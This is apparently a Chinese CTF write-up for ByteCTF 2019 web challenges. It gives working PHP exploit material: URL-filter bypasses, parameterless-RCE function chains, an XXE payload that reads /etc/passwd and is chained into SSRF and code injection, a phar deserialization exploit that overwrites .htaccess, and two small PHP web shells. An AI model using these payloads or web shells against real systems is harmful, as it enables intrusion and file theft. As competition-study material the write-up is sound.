Bytectf 2019 web partial wp

Bytectf 2019

题目感觉质量都还可以(菜,然而并没有做出来几个 web 题,磕安卓逆向磕了好久,花了很多时间,不过终于缕清楚了。剩下几个 web 题目有机会再补下 wp 吧。

boring code

这道题目被卡了。。。

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            var_dump($code);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);

                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }

URL 检测

绕过 is_valid_url、parse_url、file_get_contents,但是查到的方法只有一个,data://baidu.com/plain;base64,,而且 data:// 还被过滤了。那我们还有两个思路:注册一个域名( ???)、找到一个跳转。

其实可以发现 baidu 平台下诸多外链都存在跳转,不过这里构造是要把域名改为 post.baidu.com,可以参考 post.baidu.com跳转链接的生成方法

后来在 XCTF-2020战疫 中发现有的师傅使用了新方法,因为过滤的形式为 data://,那我们构造一个 data: 形式的 payload 亦可,即 compress.zlib://data:@127.0.0.1/,xxx,或者加入 base64。后来试了一下 bzip2,发现在 php7 的某个版本中已经默认不启用了,而且 zlib 可以支持非压缩流,那么用起来可能会更方便一点(来源见下。

无参数 RCE

需要构造函数了,思路可以参考 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

可以构造出一个可以读当前目录的payload echo(readfile(end(scandir(".")))) 可以读取目录中最后一个文件。

首先收集一下满足第一个要求的函数,满足第二个要求且,最里面的函数是无参数的,通过 get_defined_functions() fuzz 一下可以得到这么三个函数 time localtime unixtojd,time 返回 unix 时间戳,localtime 返回一个时间戳数组,其中 index 0 表示秒。并没有发现 W&M 他们 payload 里用到的 localeconv,不过同样可以用 chr(pos(localtime())) 获取 .

我们知道的是 readfile(end(scandir("."))),然而我们要读的是上一层目录。就要通过 next(scandir(".")) 拿到 ..,然后 chdir(next(scandir("."))),不过返回的是一个 bool 值,那我们需要找到合适的函数。

先跳过这一步,后面类似之前的步骤,调用 readfile(end(scandir(xxxx))),我们现在需要构造的就是接受一个 bool 值然后返回 . 的函数调用。localtime() 可以接受参数,参数是 time,那我们看一下 time(),time ( void ) : int,并且 time(123,1) => 1568213405,void 使得调用不会产生异常。那我们就可以嵌套了,即 localtime(time(chdir(next(scandir("."))))),这里需要取当前元素,并且 pos 与 current 相同,于是可构造为 chr(pos(localtime(time(chdir(next(scandir("."))))))),这里拿到 . 就可以替换掉 xxx 了。

最后替换里面的点,最终得到 readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime())))))))))))),不过 ord('.')=46,需要等到每分钟的第 46 秒才可以。

这里给一个其他比赛的 payload,感觉是个新思路(都是 fuzzzzz)readfile(end(scandir(chr(octdec(ord(ceil(sqrt(ord(exp(chdir(next(scandir(current(localeconv())))))))))))))),其中 chr(octdec(ord(ceil(sqrt(ord(exp())))))) 返回了 . 这个符号,exp 的参数是 true,即 1。最内层的 current(localeconv()) 函数返回 .

这里贴一下某师傅的绕过以及 fuzz 的方法和结果 https://blog.csdn.net/a3320315/article/details/102989485

rss

看到 rss 就想到了是个 XXE,刚好另一题被限制的 payload 还可以用上,传入 data://baidu.com/plain;base64,,后面跟上 base64 编码过的 RSS。
构造一个包来产生 XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel><title>&xxe;</title><link>http://xz.aliyun.com/forum/</link><description>xx</description><atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link><language>zh-hans</language><lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate><item><title>CVE-2019-0221—Apache Tomcat SSI printenvXSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenvXSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item></channel></rss>

这里手改的先知的 RSS 文件。可以读到几个文件,其中比较重要的就是如下的:
route.php

<?php

Route::set('index.php',function(){
    Index::createView('Index');
});

Route::set('index',function(){
    Index::createView('Index');
});

Route::set('fetch',function(){
    if(isset($_REQUEST['rss_url'])){
        Fetch::handleUrl($_REQUEST['rss_url']);
    }
});

Route::set('rss_in_order',function(){
    if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
        Admin::createView('Admin');
    }else{
      if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
        Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
      }else{
       echo ";(";
      }
    }
});

定义了路由,可以发现有一个 admin 的控制器,还需要 SSRF,刚好可以通过 XXE 来触发。
adminController.php

<?php

class Admin extends Controller{
    public static function sort($url,$order){
        $rss=file_get_contents($url);
        $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
        require_once './views/Admin.php';
    }
}

views/Admin

<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
    die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
    ?>
<div class="rss-head row">
    <h1>RSS解析失败</h1>
    <ul>
        <li>此网站RSS资源可能存在错误无法解析</li>
        <li>此网站RSS资源可能已经关闭</li>
        <li>此网站可能禁止PHP获取此内容</li>
        <li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
    </ul>
</div>
<?php
    exit;
};
function rss_sort_date($str){
    $time=strtotime($str);
    return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
    <div class="col-sm-12 text-center">
        <h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
        <span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
        <p><?php echo $rss->channel->description;?></p>
        <?php

            if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
                echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
            }
        ?>
    </div>
</div>
<div class="article-list" style="padding:10px">
    <?php 
    $data = [];
    foreach($rss->channel->item as $item){
        $data[] = $item;
    }
    usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    foreach($data as $item){    
    ?>
        <article class="article">
            <h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
            <div class="content">
                <p>
                    <?php echo $item->description;?>
                </p>
            </div>
            <div class="article-info">
                <i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
                <i style="margin:0px 5px"></i>
                <?php
                    for($i=0;$i<count($item->category);$i++){
                        echo $item->category[$i];
                        if($i+1!=count($item->category)){
                            echo ",";
                        }
                    };
                    if(isset($item->author)&&$item->author!=""){
                ?>
                        <i class="fa fa-user" style="margin:0px 5px"></i>
                <?php
                        echo $item->author;
                    }
                ?>
            </div>
        </article>
    <?php }?>
</div>
<div class="text-center">
    免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

这个文件比较重要,可以发现在获取 rss 之后进入了一个函数 usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));,其中回调了匿名函数,而其中的 $order 我的门可以控制,那我们可以在其中插入语句来 RCE 了。下面就是 XXE->SSRF->RCE 了。但是怀疑环境禁用了命令执行函数,只能通过读文件的方法拿到 flag。

列根目录的 exp:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=data://baidu.com/plain;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPHJzcyB2ZXJzaW9uPSIyLjAiIHhtbG5zOmF0b209Imh0dHA6Ly93d3cudzMub3JnLzIwMDUvQXRvbSI%2BCjxjaGFubmVsPjx0aXRsZT4xMjM8L3RpdGxlPjxsaW5rPmh0dHA6Ly94ei5hbGl5dW4uY29tL2ZvcnVtLzwvbGluaz48ZGVzY3JpcHRpb24%2BeHg8L2Rlc2NyaXB0aW9uPjxhdG9tOmxpbmsgaHJlZj0iaHR0cDovL3h6LmFsaXl1bi5jb20vZm9ydW0vZmVlZC8iIHJlbD0ic2VsZiI%2BPC9hdG9tOmxpbms%2BPGxhbmd1YWdlPnpoLWhhbnM8L2xhbmd1YWdlPjxsYXN0QnVpbGREYXRlPlR1ZSwgMDIgSnVsIDIwMTkgMDY6MDM6MDAgKzA4MDA8L2xhc3RCdWlsZERhdGU%2BPGl0ZW0%2BPHRpdGxlPkNWRS0yMDE5LTAyMjHigJRBcGFjaGUgVG9tY2F0IFNTSSBwcmludGVudlhTUzwvdGl0bGU%2BPGxpbms%2BaHR0cDovL3h6LmFsaXl1bi5jb20vdC81MzEwPC9saW5rPjxkZXNjcmlwdGlvbj5DVkUtMjAxOS0wMjIx4oCUQXBhY2hlIFRvbWNhdCBTU0kgcHJpbnRlbnZYU1M8L2Rlc2NyaXB0aW9uPjxwdWJEYXRlPk1vbiwgMDMgSnVuIDIwMTkgMDk6MDk6MDAgKzA4MDA8L3B1YkRhdGU%2BPGd1aWQ%2BaHR0cDovL3h6LmFsaXl1bi5jb20vdC81MzEwPC9ndWlkPjwvaXRlbT48L2NoYW5uZWw%2BPC9yc3M%2BCg%3D%3D&
order=a%2Cvar_dump(scandir('%2F')))%3B%7Dvar_dump(scandir('%2F'))%3B%2F*" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel><title>&xxe;</title><link>http://xz.aliyun.com/forum/</link><description>xx</description><atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link><language>zh-hans</language><lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate><item><title>CVE-2019-0221—Apache Tomcat SSI printenvXSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenvXSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item></channel></rss>

Ezcms

首先读一遍源码,有个hash 扩展和上传,
hashpumpy.hashpump("52107b08c0f3342d2153ae1d68e6262c","adminadmin","a",8) 过了限制,上传没有啥限制,可以直接使用 popen 来命名执行(或者拼接绕过),访问发现 500,想起来有个被输出的 .htaccess,导致无法正常解析

发现可以触发 phar 反序列化,那现在有两个思路,通过触发上传来移动文件,或者清掉.htaccess,本地测试发现 move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext); 这条语句执行失败,这条路不行了。

那我们考虑另一个思路,通过反序列化文件覆盖,能够使用的有一个内置类 ZipArchive->open,如果达到任意文件内容覆盖需要一个 open 函数,可发现

    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }

刚好有个魔术函数,两个参数也符合。
exp 如下:

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct()
    {
        // $this->checker=new Admin();
        $this->checker=new Profile();

    }

}
class Profile{


    public $username;
    public $password;
    public $admin;
    function __construct()
    {
        $this->admin=new ZipArchive();
        $this->username="/var/www/html/sandbox/e518c8d610a025cd70759c837700f750/.htaccess";
        $this->password=ZIPARCHIVE::OVERWRITE;
    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}
$o=new File();

ini_set('phar.readonly',"Off");
unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

把这个上传之后,需要上传一个 php 文件,发现过滤 rce 不完整,写一个 shell 如下

<?php
phpinfo();
$handle = popen($_POST[0], 'r');
$read = fread($handle, 4096);
echo $read;
pclose($handle);

或者

<?php
$c="sys"."tem"
$c($_GET[0]);

也传上去
访问以触发反序列化 http://112.126.102.158:9999/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://./sandbox/e518c8d610a025cd70759c837700f750/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
其中加上了 php://filter 来绕过行首匹配正则,触发反序列化,之后访问 shell,读根目录下的 flag 就可以了。

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus